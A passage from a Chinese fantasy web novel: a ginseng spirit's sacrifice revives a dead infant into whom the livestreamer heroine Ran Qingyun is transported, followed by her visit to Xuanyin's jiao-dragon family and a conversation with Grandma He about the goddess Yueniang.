站在山顶上往南望,就可以看见不远处的天虞城。可北岩山荒山多,也不似官道有路标石碑指示方向,她一不小心就迷了路,误入一片桃花林中。
虽是午时,阳光正好,但桃花林偏僻沉寂,只有呜呜风声吹过,倒是徒增几分诡异。
她搂紧小雅,加快了脚步,只想快点儿走出这片桃花林。
忽然,一条枝蔓猛地圈住她的脚踝,她感觉到一阵天旋地转,接着便头朝下地挂在半空了。
一株开满了桃花的高大桃树挪动着树根走了过来,语气不善地呵斥道:“你是谁?为什么闯到这里来?”
人参妖企图挣开束缚,却是徒劳,只好乖乖地如实回答:“我是一只人参妖,想要去天虞城里问路,不小心迷了路,才误入了这里。”
桃花妖狐疑地盯着人参妖看了一会儿,见她一脸诚恳,不像是说谎的样子,半信半疑地把她放了下来。
接着,桃树上跳下一胖一瘦两个身影,是一只背着竹篓的小猴妖和一只胖乎乎的小猪妖。
冉青云认得他们,那是孙毛毛和朱胖胖。十八年后,他们和八爪鱼妖一样,都成了香梅茶楼的员工。
猪妖朱胖胖说:“你妖气好淡,我们刚刚还以为你是人类呢!原来你也是妖族,刚刚错怪你了。”
猴妖孙毛毛叹了一口气,说:“你这话说的!人类里也有好人,妖族里也有坏蛋呀。”
朱胖胖撅着嘴说:“我爹说了,人类全都刁滑奸诈、假仁假义、厚颜无耻、罪恶滔天,通通都是大坏蛋!”
听他这么说,人参妖似乎是想起来了丽姐姐,不甚同意地抿了抿嘴,但也懒得出声反驳,微微欠身,便抱着小雅要离开了。
孙毛毛喊住了她,说:“若是不嫌弃的话,我给你带路吧。这儿是北三山的西面,要去到天虞城,还要翻过两座山呢。”
他指了指自己背后的竹篓,竹篓里装着满满一筐的桃子。他解释说:“我正好要去天虞城里卖桃子,赚点银子给胖胖买好吃的!”说罢,他披上一件外袍,戴上斗笠,围上围巾,将自己的脸挡得严严实实,伪装成一个矮个子的人类。
朱胖胖叮嘱道:“你记得帮我买只鸡腿,要外皮烤得脆脆的那种!”他恨透了人类,但看上去对于人类制作的美食倒是十分钟意。
人参妖跟着孙毛毛翻过了两座山,来到了天虞城的北门。
孙毛毛背着满满一竹篓的桃子,说要去城西的西坊街叫卖。
人参妖与他道了别,沿着贯穿天虞城南北的主路,继续往南走。走了一会儿,见前方闹闹哄哄的,人头攒动。走近一看,发现被围在中间的是一位黄蓝异瞳的少女和一位气度非凡的大爷。
那是十八年前的陈三妹和庞千山。
陈三妹的模样与现在并无不同,仍旧是少女模样。但庞千山看上去却年轻得多,此时的他刚刚年逾半百,白发还没有那么多,头上仍旧戴着一顶襥头帽,不知襥头帽下的秃头是不是也比如今茂密一些。
他们被不少百姓围住,大伙儿举着手里的鸡鸭鱼肉、茶饼糕点,疯狂地往他们手里塞。
看上去,十八年前,他俩在天虞城里受爱戴受尊敬比现在还要夸张。
庞千山和陈三妹连连推拒。
冲在最前面的一位妇人举着手里的桂花糕,大嗓门地喊:“庞大人,陈大人,这你们必须得收下!二十年前天虞城那场大乱,若不是你们,我早就没命了!”
其他人也纷纷附和:
“是呀!我一家老小的命都是你们救的呢!”
“就是就是,没有你们,今日的天虞城不过就是一座鬼城!”
……
人参妖停下脚步,默默地看着人群中心的那两人。
冉青云发现,自己似乎能听见人参妖的心声了,就好像自己不只是借着她的眼睛见证着一切,更是用她的心感受着一切。
人参妖心想:这两人看起来德高望重的,说不定见多识广,能知道天神山在哪里。
她抱紧了怀里的小雅,努力地挤进人群里,没想到用力过猛,一下子摔在了庞千山和陈三妹面前。
吵闹的人群静了下来,纷纷看向这位不速之客。
人参妖抱着小雅没有松手,手肘着地,摔了一个大马趴。她狼狈地站起身,不理会手肘与膝盖上的擦伤,看着庞千山和陈三妹,开口问道:“请问……你们知不知道去天神山在哪儿?”
陈三妹与庞千山对视一眼,又齐齐扭头看向她。
陈三妹问:“你要去天神山?”
人参妖点点头。
庞千山摸摸下巴,不甚确定地说:“天神山……我记得好像是玉清山庄那儿,应该没记错吧。”
陈三妹颔
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首道:“你没有记错,玉清山庄就建在天神山上。但我也不清楚玉清山庄在哪儿,不过我知道,玉清山庄是捉妖师的老本营。你或许可以去问问捉妖会馆里的捉妖师,说不定会有知道的人。”
庞千山为她指路:“你往这个巷子里一直走,就能看见一间食肆模样的建筑,牌匾上就写着‘捉妖会馆’四个大字。”
身为妖族,却要主动进入捉妖会馆,相当于小白兔主动要进蛇窟瞧瞧。
听说每位捉妖师人手都有一个捉妖用的罗盘,一催动,就能找出附近的妖怪在哪儿。若是人参妖的妖族身份被捉妖师们识破,她怕是凶多吉少。
但眼下她顾虑不了太多了,七日之期就好像一把悬在小雅头上的巨斧,只等时辰一到,就猛然砍下,将小雅送到奈何桥上。人参妖必须尽快找到天神山才行。
人参妖谢过陈三妹和庞千山,挤出人群,沿着巷子来到捉妖会馆门口。
捉妖会馆中热闹非凡,一位脸庞清瘦、白发苍苍的老妇人坐在主位之上,身旁围着不少男男女女。
那是已经仙逝多年的辛夷真人——也是冉青云的师姑。
没想到,竟然还能再次亲眼见到辛夷真人的音容笑貌,冉青云心中不由得泛起一股酸涩。
一位道士模样的中年男子指着自己身边一个七八岁模样的小男孩,对辛夷真人说道:“祖师尊,这是我最近新收的徒弟,天资聪颖,又吃苦耐劳,是一个好苗子。”
那男子轻轻推了推男童的后背,说:“吴小山,快,和你曾祖师尊打个招呼。”
吴小山恭恭敬敬地拱着手鞠了一躬,再抬头时露出了一个缺着门牙的笑,笑得大大咧咧的,说道:“曾祖师尊好!吴小山见过曾祖师尊!”
他们一派祥和,没有人注意到站在门口的人参妖。
人参妖深吸一口气,鼓起勇气,抬腿走了进去,问道:“你们好,我想问一问,去天神山该怎么走?”
没有人觉得会有妖族来捉妖会馆自投罗网,因此在场没有一位捉妖师掏出自己的捉妖罗盘。
辛夷真人温声问道:“你要去天神山做什么?”
人参妖害怕自己说谎时被发觉出异样,反倒害得他们不愿帮自己指路,因此如实说道:“我得了一道机缘,只要去到天神山,我就能救活这个孩子。”她掀开襁褓,露出小雅苍白的小脸蛋。
见状,众人眼中露出一丝动容。
辛夷真人没有追问是什么机缘,叹气道:“真是一位苦命人呀……”
她差人拿来纸笔,绘制了一张从天虞城到天神山的地图,又从乾坤袋里掏出几张护身符,一起递给了人参妖,祝福道:“将这些护身符贴在身上,一张符篆能保护你免受一次伤害。愿你一路顺利,平平安安地抵达天神山。”
人参妖接过地图和护身符,深深地鞠了一躬,谢过辛夷真人之后,便照着地图,从天虞城南门出了城,继续往南走。
她不分昼夜,一连赶了两天的路,这已是小雅死后的第四日了,七日之期已经过半,可离天神山还有少说五百里的路,三天之内要赶到,实在不是一件易事。
她一刻也不敢耽搁,抱着小雅不眠不休地往前跑,她的心跳越来越快,呼吸越来越困难——她严重透支的身体终于支撑不住了,她眼前一黑,晕了过去。
52. 龙宫篇(五)
人参妖从昏迷中醒过来时,第一眼看见的是头顶上的一片木板,看上去像是马车的车棚。
她的怀里空空荡荡,眼前昏昏暗暗,身子晃晃悠悠。
她晕了多久?
这是在哪儿?
小雅呢?
她猛地坐起身,身侧响起一个温柔的声音:“你醒啦?”
人参妖转头望去,声音的主人是一位容貌端庄的妇人。
这又是冉青云的一位老熟人。
此时四十岁出头的刘掌柜显得年轻得多,发髻高挽,眉如远山,脸庞不似如今那么瘦削,眼角只有零丁几丝淡淡的鱼尾纹。
曾经闲聊时,冉青云听刘掌柜说过,她年少时正值饥荒战乱年间,她见了太多死于非命的婴孩,官道上见到抱着死婴的母亲是常有的事,有的母亲是因为迟迟不愿相信孩子去世的事实,有的母亲是为了将死去的孩子葬回故乡。
或许正是因为这样,所以对于见到一个女子抱着一个死去的婴儿晕倒在路边一事,刘掌柜并没有多么的惊讶。
刘掌柜怀里抱着包在襁褓中的小雅,她将小雅递还给人参妖,问道:“这是你的孩子吗?”
人参妖没有否认,她接过小雅,顾不上道谢,有些着急地问道:“这是哪儿?您知道我晕了多久吗?现在是什么时辰了?”
一个小女孩从刘掌柜身后探出头来,说:“我们捡到你的时候还是正午,现在已经日落啦。”
从她的眉眼长相,冉青云认出了那是白灿灿,她幻化成孩童模样,说话的腔调却没有一点儿奶声奶气的样子。
人参妖依稀记得自己晕过去时还是清晨,也就是说,她至少昏迷了一整个白天。
本就不够用的时间更加捉襟见肘了。
刘掌柜从袖子里掏出一张地图,问道:“这是你的东西么?你晕倒时,它就掉在你附近,我也一齐捡起来了。”
人参妖道了谢,起身就要告辞,虽说在两天之内赶到天神山实在是难乎其难,但总不能在这里就放弃了。
刘掌柜叫住她,问:“我看这地图上是前往天神山的路,你是要将这孩子葬在天神山下吗?”
人参妖摇摇头:“不是的,我是要去救活她。”她补充说:“因此,我必须得在两日之内抵达天神山。”
闻言,刘掌柜惊讶地睁大了眼,白灿灿出言反驳道:“我从来没听说这世上有起死回生之术!”
刘掌柜拍了拍白灿灿的脑袋,温声呵斥道:“你没听说过,并不代表没有呀。”
她略带歉意地看着人参妖,苦笑着说:“这孩子心直口快的,她没有恶意,你别往心里去。”
人参妖不悦地盯着白灿灿,只觉得她所言晦气得很。
但冉青云却能够理解白灿灿,她的生母死于非命,从此与她天人两隔,此生再也不复相见,她自然不信世上有起死回生之术。此时的白灿灿并不知道,这世上确实是有起死回生之术的——在十八年后,她的另一位母亲用最虔诚的愿望,让濒死的她重新长出血肉,将一只脚已踏入鬼门关的她硬生生抢了回来。
刘掌柜对人参妖说:“不如让我们载你到天神山去吧,我们娘俩打算搬家到南淮城长住,中途恰好会路过天神山。”车舆内放着不少的行李。
她解释说:“我雇了镖局,镖局会将这一车子安安全全地护送到目的地,中途再加一个你也不碍事的。”
马车总是比用双腿跑步快的,更何况,人参妖的身体已经太过疲惫,指不定之后还会再力竭晕倒。若是能坐马车,便能保证自己可以在两日之内抵达天神山了。
人参妖没有推辞,谢过刘掌柜。
刘掌柜知道她时间紧,于是又私下给护送的两位镖师塞了银子,麻烦他们轮流驾车,日夜赶路,花了一天半的时间,就抵达了天神山山脚。
人参妖将这一切看在眼里,下车前,偷偷从手上掰下几根人参须,用帕子包好了,送给了刘掌柜。
刘掌柜没有拒绝她的好意,收下了人参须,笑眯眯地说:“我们娘俩打算在南淮城开一间客栈。等你有空了,欢迎你来找我们玩。”
人参妖辞别了刘掌柜和白灿灿,转身朝着天神山走去。
天神山山脚处有一株苍天的香樟树,人参妖能感觉到此处灵气厚重得好似一团浓雾。
她将小雅的尸首放在树下,自己也在小雅身边静静地躺了下来。
一道金光在眼前闪过,她知道,这是月娘大人显灵了。
她只感觉自己轻飘飘的,就好像一颗圆圆的泡泡,从水底渐渐地往上飘,最后浮出水面,飘荡在空气之中,自上而下地看着小雅苍白的尸首和自己仿佛陷入沉睡一般的身体。
另一个小小的泡泡也从小雅的身体里冒了出来,那颗小泡泡干干瘪瘪,好似随时会破裂一般,摇摇晃晃地飘到了她的身边,亲昵地围着她转了几圈,最后恋恋不舍地飘到了人参妖的身体上,无声地没入。
人参妖的身体泛起淡淡的白光,躯体上的妖气化为滋补小雅灵魂的养料,妖躯越来越小,最后变回一株小小的人参苗,长在土地之中,地下的灵脉日夜奔流,滋养着她慢慢长大。
人参妖的灵魂也飘进了小雅的身体之中,她能感受到,她灵魂上残留的人参妖气滋育这具身体,这具身体的心脏渐渐开始重新跳动、血液缓缓开始再次流淌。
按河婆婆所说,她的心愿就此便实现了,她与小雅都能活下来,在彼此的身体里度过余生。
但这真的就是她想要的吗?
不,她想要的更多。
冉青云清楚地听见了她的心声——
她不只想要救活小雅,还希望未来以人参妖的身份活下去的小雅,能够生活在一个不被欺压、性命无忧的世界里。在那里,人族与妖族之间没有隔阂,千千万万个丽姐姐与千千万万个她都能和和美美地生活在一起。
哪怕这是以她灵魂消逝作为代价,她也愿意。
月娘大人会实现最虔诚的愿望。
同一时刻,在另一个遥远的时空里,一位主播正坐在镜头前,一边给直播间里的粉丝们展示极品黑王蛇,一边眉飞色舞地喊:“谁懂啊!家人们!我新养的极品黑王蛇!简直是爬宠里的爱*仕,无毒蛇里的劳*莱斯!”
她说得太过专注,并没有发现自己身后泛起了淡淡的金光。
那道金光悄无声息地钻入她的后心,她眼前一黑,晕了过去。
冉青云看见自己的灵魂顺着时空的缝隙,来到这个诡谲的世界里。
她看见自己在小雅的身体里睁开了眼睛,看见自己一脸慌乱,急得嗷嗷大哭。
再然后,她看见了凌霄真人。
凌萧真人也看见了她,寒风呼啸,若是将这个小婴儿置之不顾,她或许活不过今晚。凌萧真人于心不忍,把她抱了起来。
凌霄真人生平第一次将婴儿抱在怀里,原来婴儿是这么的小、这么的脆弱,或许是怕自
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己抱疼了小婴儿,她脸上露出一丝慌乱,走起路来手脚都十分僵硬。
她被怀里的小婴儿吸引了全部的注意力,因此,她并没有注意到,在自己的脚边,有一株小小的人参苗正牢牢地扎根在这片土地上,那里面温养着小雅的灵魂。
小雅的灵魂在人参苗中长大,人参妖妖气滋养她灵魂的同时,她的灵魂也在重塑着这具躯体,最后,灵魂与躯体相融合。她的长相来自原本的灵魂,继承自丽丽姐;她的妖气来自人参妖的身体,继承自人参妖。
她们终于成了真正的一家人。
原来,丫丫口中奶声奶气的“呀呀”,实际上来自于曾经她们还未分开时,丽姐姐和人参妖千百次对她温柔的呼唤——小雅,雅雅……
而人参妖的魂魄无声地消散在婴孩的眉心,就好像一阵风将薄雾轻轻吹散,只留下空气中一丝丝的湿意。
她用自己的魂飞魄散,擅自换来了被月娘大人选定的救世之人,这个人聪明、果敢,对人族与妖族皆毫无偏见,又拥有着异世的经验与智慧。
这就是人参妖的终点,而冉青云在这个世界的人生由此开始。
人参妖在大家的帮助下,历尽艰险抵达了天神山;而冉青云则从天神山出发,踏上和她来时截然相反的道路,与大家逐个相遇,和大家一起朝着人参妖心目中的那个未来迈进。
随着人参妖魂魄的消逝,冉青云的意识也渐渐从眼前的回忆里抽离开来……
***
冉青云再睁眼时,映入眼帘是玄隐那张帅得人神公愤的俊脸。
玄隐见她醒了,双眼发亮,激动道:“醒啦!青云你醒啦!”
他扶起青云,絮絮叨叨地说:“你可真是吓死我了!河婆婆话刚说完,你就晕了过去,把我吓坏了!”
冉青云坐起身,发现自己处于一个陌生的洞穴里,洞穴门口垒着大石块,隐蔽性极好。她的身边只有玄隐,刘掌柜她们则不知去了哪儿。
她正想问,玄隐已开口说:“我们腾出来了一个没人住的窝,让刘掌柜带着灿灿和丫丫先去休息了。”
他似是有些害羞,红着脸,忸怩着说:“这……这儿是我的房间……我见你晕了过去,就带你回我家里休息了……对了,你为什么会晕过去呀?”
见证了人参妖的记忆,冉青云对丫丫的感情变得复杂起来,毕竟是她占据了丫丫——或许应该将她叫做小雅更为妥当——的原身身体。
小雅如今以人参妖的身份活着,虽是无可奈何,但或许并不是一个坏的选择。
玄隐见冉青云走了神,有些不满,撅起嘴追问道:“你怎么不理我啊?我刚刚问你为什么晕了过去呀?”
冉青云看着他耍小性子的样子,回想起在人参妖记忆中十八年前的玄隐,若不是遇上了人参妖,或许玄隐也不会在那个时候离开龙宫岛,说不定冉青云就不会刚好在霍家村后山遇到他。
机缘巧合,环环相扣,与其说是缘分,倒不如说似乎有一只无形的大手将他们推向同一个时间截点。
冉青云不再多想,她笑着摸了摸玄隐的头,温声回答道:“晕过去是因为河婆婆让我看见了一些事情,不过这说来话长,等之后有时间,我再慢慢地……”
话还没说完,洞穴门口垒着的大石块突然轰然倒塌,两大一小三只蛟妖极其狼狈地摔了进来,蛟身缠作一团,还来不及解开,便抬头看着冉青云,异口同声,弱弱地说:“打、打扰啦……”
53. 龙宫篇(六)
三只黑蛟妖乒哩乓啷地往房间内一摔,悻悻道:“打、打扰了……”
冉青云:……
玄隐愣了愣,指着地上盘成麻花的三条蛟妖,有些不好意思地对着冉青云介绍道:“青云,这是我阿娘、爹爹还有我的妹妹。”
冉青云算是知道玄隐傻乎乎的天然呆从何而来了,原来是遗传。
她刚想打个招呼,身形最小的那只蛟妖抢先开了口:“你们聊,你们聊,我们不打扰你们啦!”说罢便拖着爹娘走出门外,用两只小爪子将充当门板的巨石抬了起来,归回原位。
没想到这小蛟妖身形看着小巧,力气却这么大。
他们走得匆忙,石门关的不够严实,还留下一条小缝,冉青云隐隐听见他们小声交谈。
“我都说了别偷听哥哥说话了,尊重一下他行不行!”
玄隐的阿娘笑道:“那你还跟着我们偷听得那么起劲?”
“我我我、我是来阻止你们的,刚刚要不是我撤得快,那场面都要尴尬死了!”
玄隐的爹爹反驳道:“你就嘴硬吧,明明你也好奇得不得了!毕竟这可是小隐第一次带姑娘回家!”
玄隐的阿娘语气里满是暗搓搓的好奇:“谁能想到,小隐当初留下一封辞别信,二话不说就走了,现在又带着位漂亮姑娘回了家,问他两句就脸红得快冒烟,我看他肯定喜欢人家……”
冉青云听着玄隐的妹妹与爹娘斗嘴,觉得十分新奇——她前世与父母感情很淡,不过是有血缘关系的陌生人罢了,穿越到这个世界后,她有了亦师亦母的凌霄真人,但她自小被凌霄真人揍着屁股长大,平日里怕凌霄真人怕得很,更别说这么嘻嘻哈哈,你一句我一句地斗嘴了。
玄隐涨红了脸,结结巴巴地对冉青云说:“你、你别听我阿娘瞎说,我、我就是看刘掌柜又要照顾灿灿又要顾着丫丫,再加上一个你怕她顾不过来,所以才带你回了我房间……”
冉青云见他慌张得要命,暗暗觉得好笑,忍不住想逗一逗他,便说:“哦?原来是这样,你想得真周到,不过你现在脸红做什么?”
玄隐不禁逗,语无伦次地“我我我”了半天,憋不出一句话来。
冉青云算是理解了一点纪映阳为什么喜欢逗玄隐玩了,玄隐这个模样确实可爱。
但她心肠比纪映阳好得多,浅逗即止,没再继续逗玄隐,岔开了话题,对他说:“我打算去看看灿灿情况怎么样了,她们待在哪个洞穴里,你待会儿能给我带路吗?”
面对冉青云,玄隐的字典里就没有一个“不”字。
走出玄隐的房间,冉青云发现他们家这用石块砌成的洞穴居然还要三室一厅。
堂厅中央摆着一张用巨石垒成的桌子,石块很新,最顶上的石板还在摇摇晃晃,一看就是刚搭起来的,桌边端坐着三条蛟妖。
玄隐的爹爹自以为神不知鬼不觉地伸出尾巴撑着晃晃悠悠的石板,使劲地暗暗咬牙。
玄隐的阿娘伸出爪子指了指桌上的茶杯——如果那个中间凹进去一个拳头印子的石头被也能称之为“茶杯”的话,她笑眯眯道:“欢迎来我们家玩呀,不急的话就喝杯茶再走吧。”茶杯里飘着几片寒酸的薄荷叶。
玄隐的妹妹在一旁目光炯炯地看着冉青云,忍不住激动地搓手手,爪子上隐隐有些泛红,一看就知道那个石头茶杯正是出自她手。
看得出,他们已经竭尽全力地在以人类的礼仪招待她了。
也看得出,龙宫岛的蛟妖们过的日子是真的返璞归真,难怪玄隐在外总是一副没见过世面的样子,吃啥都香,看啥都大惊小怪。
冉青云没有拒绝他们的好意,礼数周到地拱手作揖,说道:“伯母、伯父、妹妹好,我的名字是冉青云,‘好风凭借力,送我上青云’的‘青云’。”说罢,她举起茶杯,一饮而尽。
玄隐的阿娘连连点头,越看冉青云越喜欢,笑道:“我们知道你的名字,玄隐已经和我们说啦。他说你是他的主人,对不对?”
闻言,冉青云直接被薄荷茶水呛住,剧烈地咳嗽起来。
玄隐你这小子,你你你、你都是怎么和家里人介绍我的?!!!
玄隐见冉青云呛了水,急忙伸手帮她拍背。
谁知他爹娘妹妹见了这场景,脸上的笑意更浓了。
冉青云好不容易顺了气,急忙解释道:“不是主人,不是主人,我是玄隐在外认识的一位好朋友。”
玄隐听后却急了,之前还好好的,怎么青云突然就不认自己了?
见玄隐张嘴想要反驳,冉青云忍不住甩了他一个眼刀,玄隐立即闭上了嘴,瘪着嘴委屈地看着冉青云。
冉青云脸上烧得慌,不知为何有种当着人家长辈的面聊限制级话题的尴尬,急忙告了辞,火急火燎地拉着玄隐走了。
他们走后,玄隐的爹爹忍不住扭头问:“对了,‘主人’究竟是什么意思呀?我从来没听说过这个词。”
“真笨!”玄隐的阿娘白了她夫君一眼,“还用想吗?看他俩这甜蜜的样子,这个词肯定是人族里定情之后的称谓呀!”
玄隐的妹妹缓缓地点了点头,感叹道:“原来如此!还是娘亲聪明呀……”
……
刚走出玄隐家门,一群五颜六色的小蛟妖就拥了上来,将冉青云团团围住,七嘴八舌道:“哇!漂亮姐姐!玄隐哥哥带回来的漂亮姐姐!”
他们的体型看上去比玄隐的妹妹还小,年纪应该都不大,蛟身五彩斑斓,像一串串颜色各异的玉石玛瑙。爬宠爱好者冉青云只觉得自己到了天堂,幸福得飘飘欲仙。
玄隐面色却阴沉下来,他抿紧了嘴,快步走上前去,挤开蛟群,走到冉青云身前,不悦地对着小蛟妖们说:“别吵啦别吵啦,叽叽喳喳的像个什么样子!”
他拉住冉青云的手腕,强硬地扯着她走出蛟群,嘴里义正言辞地说:“我们还要赶紧去看灿灿呢!不能在这儿耽搁了!”
冉青云回想起之前玄隐被粉丝们围住时,她也是一样沉着脸挡在玄隐身前,不由得暗暗觉得好笑。
身后,小蛟妖们小声地说悄悄话:“握手了!玄隐哥哥和漂亮姐姐握手了!”
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冉青云是发现了,龙宫岛上的蛟妖不仅都一样傻乎乎的,还都一样爱八卦起哄。
玄隐也听见了他们交头接耳的身影,只感觉自己与冉青云手腕的掌心烫得厉害,匆忙松开了手,可手心里的余温依旧久久不散。
冉青云跟在带路的玄隐身后,在一栋栋石堆中拐来绕去,最后来到了一个不大不小的石堆前。
她弓身走进石块垒成的洞穴里,只见白灿灿已化作人形,躺在一张石床上休息,只余几条尾巴露在外面。刘掌柜正拿着帕子帮她擦脸。丫丫坐在床尾,用小肉手抓着白灿灿的尾巴玩。
白灿灿已经醒了过来,见冉青云和玄隐进来,坐起身,哽咽道:“我已听娘亲讲了事情的来龙去脉。这次多谢你们,要不是你们拦着,怕是我已经酿成大祸,说不定早就连命都没了……”
冉青云牵住她的手,说:“我们之间不用讲这些,若是我和玄隐出了事,你肯定也不会袖手旁观的。”
她见白灿灿脸色已红润得多了,但还是不放心地问了一句:“你现在感觉如何了?有哪儿难受吗?”
白灿灿摇摇头,说:“除了有些倦意以外……”她看看自己的尾巴,补充说:“还有,除了我的尾巴暂且收不回来之外,已经没有什么问题了。等我能将尾巴收起来,我们就可以回天虞城了。”
她元气大伤,妖气刚刚恢复,化形还无法控制自如,试了几遍都收不起来尾巴。
冉青云道:“这有什么关系?收不起来尾巴,难道就不能进天虞城么?”
白灿灿愣了愣,张嘴解释道:“我是怕我露着尾巴,被人发现我是狐……”
她话刚说一半,便止住了话头——她意识到自己这番顾虑实在是没有必要,如今天虞城里谁不知道她是狐妖,还需要看她尾巴才知道吗?
见冉青云笑眯眯地看着自己,白灿灿也笑了起来,说:“是我多虑了。我这辈子还没露着尾巴在人类的城镇里大摇大摆地逛街呢,没想到现在竟有机会成真。”
刘掌柜急着要回香梅茶楼,她一心想早点给白灿灿炖煮些好吃的补补身子,提议道:“那若是没什么事情,我们不如今日就出发回天虞城吧。”
尘埃落定后,冉青云后知后觉地想起了纪映阳,当初,冉青云和纪映阳约好,冉青云去龙宫岛,纪映阳回玉清山庄,各自寻找拯救白灿灿的方法,有进展了就用传书玉玺联系。
现在距离从天虞城出发才过了短短两日,纪映阳八成还没赶到玉清山庄,如今白灿灿已平安无事了,得赶紧和他知会一声。之后纪映阳可以直接打道回府,先赶回天虞城,收拾收拾大伙儿留下的烂摊子。当时白灿灿失控后在大街上横冲直撞,还没来得及对被牵连的人们致歉和赔偿呢。
冉青云拿出传书玉玺,将白灿灿获救一事对纪映阳简要地说了。
纪映阳秒回消息:“太太太太好了!!!那我也往回赶!!”字里行间都能看出他的欢呼雀跃。
但在离开龙宫岛之前,冉青云还要去找一趟河婆婆,不只是为了道谢,她还有一件事情要问一问。
54. 龙宫篇(七)
来时匆匆忙忙,冉青云没带什么贵重东西在身上,于是便在龙宫岛就地取材,找了几块薄石板,又从乾坤袋里掏出朱砂墨,亲手做了一摞显影石,又消耗了不少法力,做了一小叠护身符,拎着它们前去拜访河婆婆。
河婆婆似乎早就料到冉青云会来,笑盈盈道:“你来啦。”
冉青云将显影石和护身符递给河婆婆,向她道了谢,又简单讲了讲显影石的用法。
河婆婆接过去,莞尔一笑,道:“这东西我也是第一次见,真是有趣。我之后便分给龙宫岛上的大家。”
她看向冉青云,别有深意地说:“不过,你来找我,不只是为了和我道谢吧。”
冉青云丝毫不磨叽、不迂回,开门见山地问道:“我想知道——是月娘大人让我看见人参妖的记忆吗?”
河婆婆点点头:“能够以人参妖残存在这具身体里的零星妖气为媒介,让你看见十八年前人参妖所经历的一切,此等通天神力,自然只有月娘大人才能做到。”
“那我与大家相遇,也是月娘大人引导的吗?”
河婆婆没有否认,反问道:“你会因此感到不悦吗?”
冉青云耸耸肩:“还好啦。我很喜欢大家,若是不能和大家相遇,那才是遗憾。不如说,我还有些感谢月娘大人呢。”
对冉青云而言,月娘大人不过是一个遥不可及的概念,她没有丝毫被冒犯的感觉。俗话说,缘分天注定。或许世上所有的相遇都是必然,而她今日只是知道了自己所有必然的相遇从何而来。
她更想知道的是:“月娘大人为什么要这么做?”
河婆婆垂眸笑了笑,温声说:“因为你是守护这儿三界安宁的关键,是月娘大人在三千世界中挑选出的唯一,她希望你能心甘情愿地留在这儿……所以,她希望你能真真切切地爱上这里的人们、这里的妖族,爱上这片土地。”
“‘心甘情愿地留下来’?”冉青云喃喃地重复了一遍,问道:“这意思是,我是有选择的?我可以选择回到原来的世界?”
冉青云一直抱着既来之则安之的态度在这个世界活了十八年,还是第一次听说自己有机会回到原来的世界里。
河婆婆没有丝毫隐瞒,如实回答道:“你的灵魂来自另一个世界,在这个世界死后,灵魂自然会回到你本该在的时空。”
河婆婆原以为冉青云会继续追问,比方说,问一问她到时能不能回到穿越前的同一时间截点,或是问一问她帮着守护了这个世界之后能获得什么好处,再比如,问一问她需要做些什么才能守护三界的安宁。
但冉青云却问:“三千世界有三千个月娘大人吗?如果其他世界里的月娘大人也想将我的魂魄拉过去,那怎么办?两位月娘大人打一架么?还是说双方出价,价高者得?”
河婆婆不禁失笑,没想到冉青云思维如此跳脱,但她还是回答道:“万千世界里只有一个月娘大人,她守护的是所有世界的安宁与平衡。”
冉青云低声感叹道:“哇,这工作量,难怪她只能靠分散神力远程办公……”
河婆婆说回正题:“若是寿终正寝的话,你这具躯体的寿命还有几十年,这几十年里,你愿意留在这个世界吗?”
冉青云眉眼弯弯,笑道:“我可没有自裁的兴趣,既然来了这个世界,那当然是要好好活着。更何况,我是真的很喜欢这里。”
她再次谢过河婆婆,便要告辞。
河婆婆叫住了她:“你……难道不问问月娘大人希望你做些什么,去守护三界的安宁吗?”
冉青云却粲然一笑,摇摇头,说:“那就不必问啦!既然月娘大人选了我,那就说明我发自内心所做之事,正是守护三界安宁之事。若是要听月娘大人吩咐才能行动,那她在三千世界里随便找一个人不就行了。”
她狡黠地眨眨眼,说:“不是说最虔诚的愿望才会被实现么?我现在最虔诚的愿望就是开好我的妖怪直播公会,不管是人族还是妖族,大家都能够一起生活在这片土地上。只不过我不靠月娘大人实现我的愿望,我自己的愿望当然要靠我自己实现!”
河婆婆虽然不明白“直播公会”究竟是何物,但她却知道冉青云说的一点儿都没错——冉青云是月娘大人所选的救世主,从她来到这个世界的那一刻起,她就已经踏上守护三界安宁的道路了。
河婆婆会心一笑:这般悟性和能力,难怪是月娘大人寻遍三千世界才找到的唯一。
***
冉青云走后,河婆婆看向洞穴外不远处的一个石墩,笑道:“别藏啦,出来吧……”
石墩下,一条小黑蛟从石缝中钻了出来,脸颊蹭得都是泥沙,头上还顶着一片枯叶,看上去可怜巴巴的。
玄隐磨磨蹭蹭地来到河婆婆面前,低着头小声说:“我、我不是故意偷听你们说话的,我只是听说冉青云往这边走了,想过来找她……”
其实他来得晚,距离又隔得远,实际上并没有听到多少内容,只隐约听见河婆婆在说什么“几十年的寿命”。
他从没想过——或者说,是他一直逃避去想的一个问题,就这么赤裸裸地摆在了他的面前:人族与妖族的寿命实在是相差甚远,他总会迎来和冉青云死别的那一日。
十八年的光阴,对冉青云而言,已是百年人生中将近五分之一;但对于玄隐而言,不过是他离家后的一段短短的旅程。哪怕冉青云长命百岁,他们相处的时间也不过只有八十个年头。八十年与几百年甚至上千年的寿命相比,实在是太短暂了。
他想起自己之前所演的《黑蛟传》,故事的结局是不辨善恶的道士被惩治,蛟妖与妻女一家团圆,皆大欢喜,可在这之后呢?妻子是凡人之躯,几十年后就会走到生命的尽头,徒留蛟妖孤零零地活在世上。
他心里暗暗地想:八十年怎么够呢?若是冉青云能与他的寿命一样长就好了,就像陈三妹和犬妖陈小雪共享性命一样,他也想要和冉青云同生共死。
但是河婆婆胸前的吊坠并没有发亮,月娘没有显灵。
玄隐退而求其次,问道:“河婆婆,若是一个人转世投胎了,我还能认出她来吗?”
河婆婆知道,冉青云在这个世界死后并不会重新投胎到这儿,只会回到她原来的世界,但她不忍心直说,只是含糊道:“这可说不准,或许因人而异吧。”<
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她本意是想劝玄隐放下,谁知玄隐听完却重重地点头,信心满满地说道:“对!您说的没错!如果是我的话,一定能认出青云来!”
河婆婆问道:“那……如果她去了一个很远很远的地方呢?”
这话说得已是很直白了,可玄隐并不知道此界之外还有他处,只以为自己生活着的这个世界就是唯一,他握爪,认真道:“不管她转世后去了哪儿,我上天入地也会把她找到的!”
他甩下豪言壮语,便和河婆婆道了别,兴致冲冲地出去找冉青云了,
河婆婆不忍心看玄隐深陷执念,还想再说些什么,却突然止住了话头,神色变得庄重,闭上了眼睛。
她听见了月娘大人的声音,月娘大人告诉了她玄隐的未来。
半晌,河婆婆终于睁开了眼。她神情复杂,望着玄隐蹦蹦跳跳远去的背影,喃喃自语道:“也不知道,这对他而言究竟是好事还是坏事……”
***
离开龙宫岛时,岛上的蛟妖蛇妖们都纷纷前来送行,冉青云赶制了不少显影石当做临别礼物。
